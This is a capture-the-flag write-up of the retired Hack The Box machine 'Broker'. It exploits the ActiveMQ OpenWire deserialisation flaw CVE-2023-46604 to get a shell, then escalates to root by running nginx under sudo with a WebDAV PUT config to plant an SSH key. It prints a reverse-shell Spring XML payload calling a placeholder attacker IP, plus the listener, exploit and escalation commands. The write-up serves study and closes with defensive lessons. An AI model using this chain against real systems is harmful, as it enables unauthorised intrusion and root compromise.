root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat broker.md
// writeups

Broker

9 Nov 2023 · 9 min read
Broker - maquina de Hack The Box

Executive summary — Broker is an Easy Linux box built around a well-known flaw: Apache ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604, a critical unauthenticated RCE in the OpenWire protocol (port 61616). After a shell as activemq, sudo -l shows we can run nginx as root with any config: we stand up an nginx with WebDAV (PUT) rooted at / to write our key into /root/.ssh/authorized_keys. Path: ActiveMQ RCE → nginx sudo → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.12.34

Attack map

[61616] Apache ActiveMQ 5.15.15 (OpenWire) → CVE-2023-46604 (unauth RCE)
   │  exploit sends remote XML → Spring ClassPathXmlApplicationContext
   ▼
[SHELL]  activemq  (user.txt)
   │  sudo -l → (ALL) NOPASSWD /usr/sbin/nginx
   ▼
[ROOT]  nginx with malicious config (root / + WebDAV PUT) → write authorized_keys

1. Reconnaissance

We run nmap against the messaging/ActiveMQ ports plus the usual ones so we don't miss anything in the stack:

nmap -sCV -p 22,80,1883,5672,8161,61613,61614,61616 10.129.12.34

Relevant results:

PortServiceVersion
22SSHOpenSSH 8.9p1
80HTTPnginx 1.18.0
61616ActiveMQ (OpenWire)5.15.15

What matters is port 61616 running Apache ActiveMQ 5.15.15: that exact version is vulnerable to CVE-2023-46604, a critical unauthenticated RCE disclosed in late 2023 and actively exploited in the wild (including ransomware campaigns) within days of publication.

2. Vulnerability analysis — CVE-2023-46604

Why does it work without authentication? ActiveMQ's OpenWire protocol lets the client specify the type of an exception to instantiate in the response. ActiveMQ builds that class without validating it and passes it an argument the attacker fully controls — a textbook case of insecure deserialisation.

The exploit chains three steps:

  • It sends a crafted packet to port 61616 (OpenWire protocol).
  • That packet forces ActiveMQ to instantiate Spring's org.springframework.context.support.ClassPathXmlApplicationContext, pointed at a remote URL we control.
  • ActiveMQ downloads that XML and processes it as a Spring bean context: one of the beans is a java.lang.ProcessBuilder that executes whatever command we've put in it.

3. Exploitation — remote RCE

We clone the public PoC for the CVE:

git clone https://github.com/evkl1d/CVE-2023-46604
cd CVE-2023-46604
ls
exploit.py  poc.xml  README.md

poc.xml already ships the Spring bean that fires the reverse shell; we only need to point it at our IP and port. We use sed instead of editing it by hand:

sed -i 's|/dev/tcp/[^/]*/[0-9]*|/dev/tcp/<ATTACKER_IP>/9001|g' poc.xml
cat poc.xml

The resulting XML — the <bean> that does the work — looks like this:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/<ATTACKER_IP>/9001 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

We need three terminals running at once: one listening for the reverse shell, one serving poc.xml over HTTP, and one firing the exploit at the target's port 61616.

Terminal 1 — reverse shell listener:

nc -nlvp 9001

Terminal 2 — HTTP server serving poc.xml (we use 8080 since 80 may be taken):

cd CVE-2023-46604
python3 -m http.server 8080

Terminal 3 — launch the exploit, which sends ActiveMQ the URL of our XML:

python3 exploit.py -i 10.129.12.34 -p 61616 -u http://<ATTACKER_IP>:8080/poc.xml

ActiveMQ downloads and processes the XML, runs the ProcessBuilder, and the reverse shell connects back in Terminal 1:

Connection received on 10.129.12.34 51162
activemq@broker:/opt/apache-activemq-5.15.15/bin$

Shell as activemq. We upgrade it to a full TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
cat ~/user.txt

4. Privilege escalation — sudo nginx

sudo -l
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

activemq can run nginx as root with no password, and nginx accepts an arbitrary config file via -c. That means we get to decide what nginx does as root: the sudoer entry isn't granting access to a harmless binary, it's handing over full control of a web server running with root privileges.

The plan: stand up an nginx that runs as root, listens on port 81, has the entire filesystem as its document root (root /;), and enables the PUT method via WebDAV — a server that lets us write any file on the system as root, including /root/.ssh/authorized_keys.

cat > /tmp/nginx.conf << 'EOF'
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { worker_connections 50; }
http {
    server {
        listen 81;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}
EOF
sudo /usr/sbin/nginx -c /tmp/nginx.conf

No error means it started fine. We confirm it's listening:

ss -tunl | grep 81
tcp   LISTEN 0   511   0.0.0.0:81   0.0.0.0:*

activemq has no SSH key of its own, so we generate a fresh pair and upload the public half with PUT into root's authorized_keys:

ssh-keygen -t rsa -f /tmp/root -N ""
curl -X PUT localhost:81/root/.ssh/authorized_keys -d "$(cat /tmp/root.pub)"

No errors — the key is now in /root/.ssh/authorized_keys. We SSH in as root:

ssh -i /tmp/root root@localhost
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
RCEApache ActiveMQ 5.15.15CVE-2023-46604 (OpenWire, insecure deserialisation, unauthenticated)Shell as activemq
PrivEscsudo /usr/sbin/nginxRun nginx as root with arbitrary config (WebDAV PUT)Root via authorized_keys

Lessons learned

  • Patch Apache ActiveMQ: any version after 5.15.15 fixes CVE-2023-46604; if you can't patch right away, block access to port 61616.
  • Scrutinise sudo permissions: never grant NOPASSWD access to binaries that can read arbitrary external config files (nginx, tar, python, etc.) — it's equivalent to handing over root.
  • Least privilege everywhere: nginx running as root with an attacker-controlled config is a guaranteed escalation path.
  • Keep messaging services off the internet: OpenWire should never be reachable without filtering or authentication.
  • Distrust deserialisation: the pattern behind this CVE — building arbitrary classes from network data — remains one of the most recurring causes of RCE.